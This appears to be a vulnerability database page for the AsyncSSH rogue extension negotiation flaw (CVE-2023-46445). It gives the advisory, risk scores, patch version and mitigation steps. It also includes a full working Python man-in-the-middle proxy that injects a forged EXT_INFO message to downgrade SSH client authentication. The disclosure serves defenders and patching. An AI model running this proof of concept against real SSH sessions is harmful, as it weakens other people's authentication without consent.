NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

AsyncSSH Rogue Extension NegotiationGHSA-cfc2-wr2v-gxm5

MEDIUMFix: ronf/asyncssh@83e43f5

GHSA-cfc2-wr2v-gxm5 is a medium-severity (CVSS 5.3) CWE-345 vulnerability in asyncssh. A fix is available for asyncssh — see the affected versions and patch details below.

Also known asCVE-2023-46445PYSEC-2023-237
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-cfc2-wr2v-gxm5.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk+0.04%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk
0.00%0.37%0.75%1.12%0.4%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍asyncssh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

<details> <summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)</summary>
 #!/usr/bin/python3
 import socket
 from threading import Thread
 from binascii import unhexlify
 
 #####################################################################################
 ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
 ##                                                                                 ##
 ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##
 ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##
 ##                                                                                 ##
 ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
 #####################################################################################
 
 # IP and port for the TCP proxy to bind to
 PROXY_IP = '127.0.0.1'
 PROXY_PORT = 2222
 
 # IP and port of the server
 SERVER_IP = '127.0.0.1'
 SERVER_PORT = 22
 
 # Length of the individual messages
 NEW_KEYS_LENGTH = 16
 SERVER_EXT_INFO_LENGTH = 676
 
 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
 def contains_newkeys(data):
     return newkeys_payload in data
 
 # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
 rogue_ext_info = unhexlify('0000000C060700000000000000000000')
 def insert_rogue_ext_info(data):
     newkeys_index = data.index(newkeys_payload)
     # Insert rogue extension info and remove SSH_MSG_EXT_INFO
     return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
 
 def forward_client_to_server(client_socket, server_socket):
     try:
         while True:
             client_data = client_socket.recv(4096)
             if len(client_data) == 0:
                 break
             server_socket.send(client_data)
     except ConnectionResetError:
         print("[!] Client connection has been reset. Continue closing sockets.")
     print("[!] forward_client_to_server thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 def forward_server_to_client(client_socket, server_socket):
     try:
         while True:
             server_data = server_socket.recv(4096)
             if contains_newkeys(server_data):
                 print("[+] SSH_MSG_NEWKEYS sent by server identified!")
                 if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
                 while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     server_data += server_socket.recv(4096)
                 print(f"[d] Original server_data before modification: {server_data.hex()}")
                 server_data = insert_rogue_ext_info(server_data)
                 print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}")
             if len(server_data) == 0:
                 break
             client_socket.send(server_data)
     except ConnectionResetError:
         print("[!] Target connection has been reset. Continue closing sockets.")
     print("[!] forward_server_to_client thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 if __name__ == '__main__':
     print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---")
     mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     mitm_socket.bind((PROXY_IP, PROXY_PORT))
     mitm_socket.listen(5)
 
     print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
 
     try:
         while True:
             client_socket, client_addr = mitm_socket.accept()
             print(f"[+] Accepted connection from: {client_addr}")
             print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
             server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             server_socket.connect((SERVER_IP, SERVER_PORT))
             print("[+] Spawning new forwarding threads to handle client connection.")
             Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
             Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
     except KeyboardInterrupt:
         client_socket.close()
         server_socket.close()
         mitm_socket.close()
</details>

Impact

Algorithm downgrade during user authentication.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIasyncsshall versions2.14.1pip install --upgrade 'asyncssh==2.14.1'

Affected Products

1 product · 1 configurations
Application
asyncsshasyncssh_project
< 2.14.1
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for asyncssh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update asyncssh to 2.14.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cfc2-wr2v-gxm5 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack. ### Details The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it. A correct SSH implementation should not process an unauthenticated extension info message. Howev
O3 Security · Impact-Aware SCA

Is GHSA-cfc2-wr2v-gxm5 in your dependencies?

Find it across PyPI, including transitive dependencies.

AsyncSSH Rogue Extension Negotiation (Medium 5.3)